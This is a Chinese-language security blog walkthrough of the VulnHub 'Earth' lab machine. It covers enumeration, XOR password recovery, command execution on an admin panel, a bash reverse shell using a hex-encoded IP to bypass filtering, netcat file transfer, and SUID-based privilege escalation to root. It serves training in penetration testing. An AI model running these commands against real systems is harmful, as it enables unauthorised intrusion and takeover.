freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

大余每日一攻防Web-Machine-N7
2023-11-30 19:41:20

简介

每日一攻防是由全球安全研究员 VulnHub 提供的日常实战综合环境。大余安全将按照顺序选择 VulnHub 提供的渗透测试靶场,为网络安全爱好者、渗透测试从业者和安全研究员提供每日综合性的攻击和防御挑战。该项目的目标是促进参与者的技能提升,使他们更好地理解实际攻击和防御场景。

每日一攻防特色:
环境攻破: 以简单直白的方式攻破每日选择的渗透测试环境。
代码审计: 进行攻防分析,结合代码审计,深入挖掘漏洞和强化防御。

作者:大余

一、网络枚举

1701343502_6568710ecd5e1fd8e1b18.png!small?1701343505183
枚举发现IP地址!

nmap 192.168.253.141 -p- -A

1701343507_656871138e9ff1d64524e.png!small?1701343509425

发现443端口有DNS解析:

Subject Alternative Name: DNS:earth.local, DNS:terratest.earth.local

在hosts文件中添加DNS解析:

192.168.253.141 earth.local
192.168.253.141 terratest.earth.local

1701343512_65687118d1513a8893993.png!small?1701343513886

二、Web信息收集

收集earth.local信息:
http://earth.local/

1701343519_6568711f1cbd95178fa76.png!small?1701343520699
发现存在Previous Messages信息!怀疑是秘钥?

1701343522_65687122c87f1e1d97c02.png!small?1701343524135
继续访问:http://earth.local/admin

1701343527_65687127228baf0d3d430.png!small?1701343528001
发现登录页面!

继续访问:http://terratest.earth.local/
1701343532_6568712c77235bd46f4ab.png!small?1701343533857

继续访问:https://terratest.earth.local/
1701343537_65687131556f1df42e110.png!small?1701343538154

继续爆破:
1701343542_65687136041ebf80269a0.png!small?1701343544401

发现有robots.txt文件,查看一下:
https://terratest.earth.local/robots.txt
1701343547_6568713b6a3554a82f8fc.png!small?1701343549931

发现有个testingnotes文件,但是不知道是图中的哪种格式,手动测试后发现是txt格式,访问testingnotes.txt:
1701343552_65687140c55b5b31477f3.png!small?1701343554232

测试安全消息系统注意事项:
*使用XOR加密作为算法,在RSA中使用应该是安全的。
*地球已确认他们已收到我们发送的信息。
*testdata.txt 用于测试加密。
*terra 用作管理门户的用户名。
去做:
*我们如何安全地将每月的密钥发送到地球? 或者我们应该每周更换钥匙?
*需要测试不同的密钥长度以防止暴力破解。 钥匙应该多长时间?
*需要改进消息界面和管理面板的界面,目前非常基础。

这里我们得到了新的信息,加密算法是 XOR,并且有一个testdata.txt文档用于测试加密,用户名是terra,先访问testdata.txt并保存:
https://terratest.earth.local/testdata.txt
1701343564_6568714c57d4b27445f44.png!small?1701343566008

三、XOR破解

用cyberchef(CyberChef)先对上面这条previous message进行From Hex操作,从16进制数转化为UTF-8,再进行XOR操作,将testdata.txt的内容作为key,编码选UTF8:

https://gchq.github.io/CyberChef/

1701343569_6568715171358881e33b0.png!small?1701343571230
即可得到一组循环的字符串,每组循环都是:earthclimatechangebad4humans

四、命令执行反弹

然后使用用户名:terra ,密码:earthclimatechangebad4humans
登录:https://earth.local/admin
1701343575_656871570605bd3e9d439.png!small?1701343576216

发现可以执行系统命令:
1701343579_6568715b7b43159a0f293.png!small?1701343580565

需要对IP进行16进制绕过反弹shell:

bash -i >& /dev/tcp/0xc0.0xa8.0xfd.0x8a/1234 0>&1

python -c 'import pty; pty.spawn("/bin/bash")'

1701343584_65687160a53d6f7dc3952.png!small?1701343586590

五、逆向分析提权

查找有suid的文件:

find / -perm -u=s -type f 2>/dev/null

1701343589_65687165d4253c7d0195d.png!small?1701343591953

发现有个/usr/bin/reset_root,感觉可以提权,下载到本地研究:

nc -nlvp 1234 >reset_root
nc 192.168.253.138 1234 < /usr/bin/reset_root

本地分析:
1701343594_6568716abab7feac117e6.png!small?1701343595498
发现报错:
CHECKING IF RESET TRIGGERS PRESENT...
RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.
检查是否存在重置触发器...
重置失败,所有触发器都不存在。

用ltrace跟踪库函数调用:
1701343598_6568716eea1a64607ac78.png!small?1701343599862

或者用strace 命令进行调试:
1701343604_656871740b72bb8b285ee.png!small?1701343606353

因为没有以下三个文件而报错,查看靶机发现也没有这三个文件:

access("/dev/shm/kHgTFI5G", F_OK)       = -1 ENOENT (没有那个文件或目录)
access("/dev/shm/Zw7bV9U5", F_OK)       = -1 ENOENT (没有那个文件或目录)
access("/tmp/kcM0Wewe", F_OK)           = -1 ENOENT (没有那个文件或目录)

在靶机中创建这三个文件:

touch /tmp/kcM0Wewe
touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
/usr/bin/reset_root

在靶机上用touch命令创建这三个文件,创建完成后再执行/usr/bin/reset_root,执行成功,显示root的密码被修改成了Earth:
1701343610_6568717a0b1b4af457102.png!small?1701343611269

用su命令提权到root,密码为Earth:
1701343615_6568717fd4c981ae7772d.png!small?1701343616696
成功拿到root控制权限。

六、源代码

find / -type d -name "admin" 2>/dev/nul
find / -type f -name "login*" 2>/dev/null

1701343621_6568718572a8d5be58ab4.png!small?1701343623557

1701343626_6568718abdfe5b7770d6e.png!small?1701343629076

/home/earth/.local/lib/python3.9/site-packages/django/contrib/admin/templates/admin

1701343630_6568718e7a748850998b8.png!small?1701343631133

可看到通过查询发现,底层是Django的管理框架,是一个用于构建 Web 应用程序的高级 Python Web 框架。它由一系列组件和工具组成,旨在帮助开发者快速构建高效、可维护的 Web 应用。

通过每日一攻防,我致力于共同深探网络安全的奥秘,助力每位参与者成为网络安全领域的技术高手。立即加入大余安全,共同迎接每日新的挑战!


欢迎大家进入大余安全回忆录帮会,每周二&五定期更新《安全开发》、《渗透测试》系列文章,帮助大家从0基础到入门。

1701237386_6566d28ad323e31f56884.png!small?1701237387378

# 漏洞 # 网络安全 # web安全 # 漏洞分析 # CTF
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录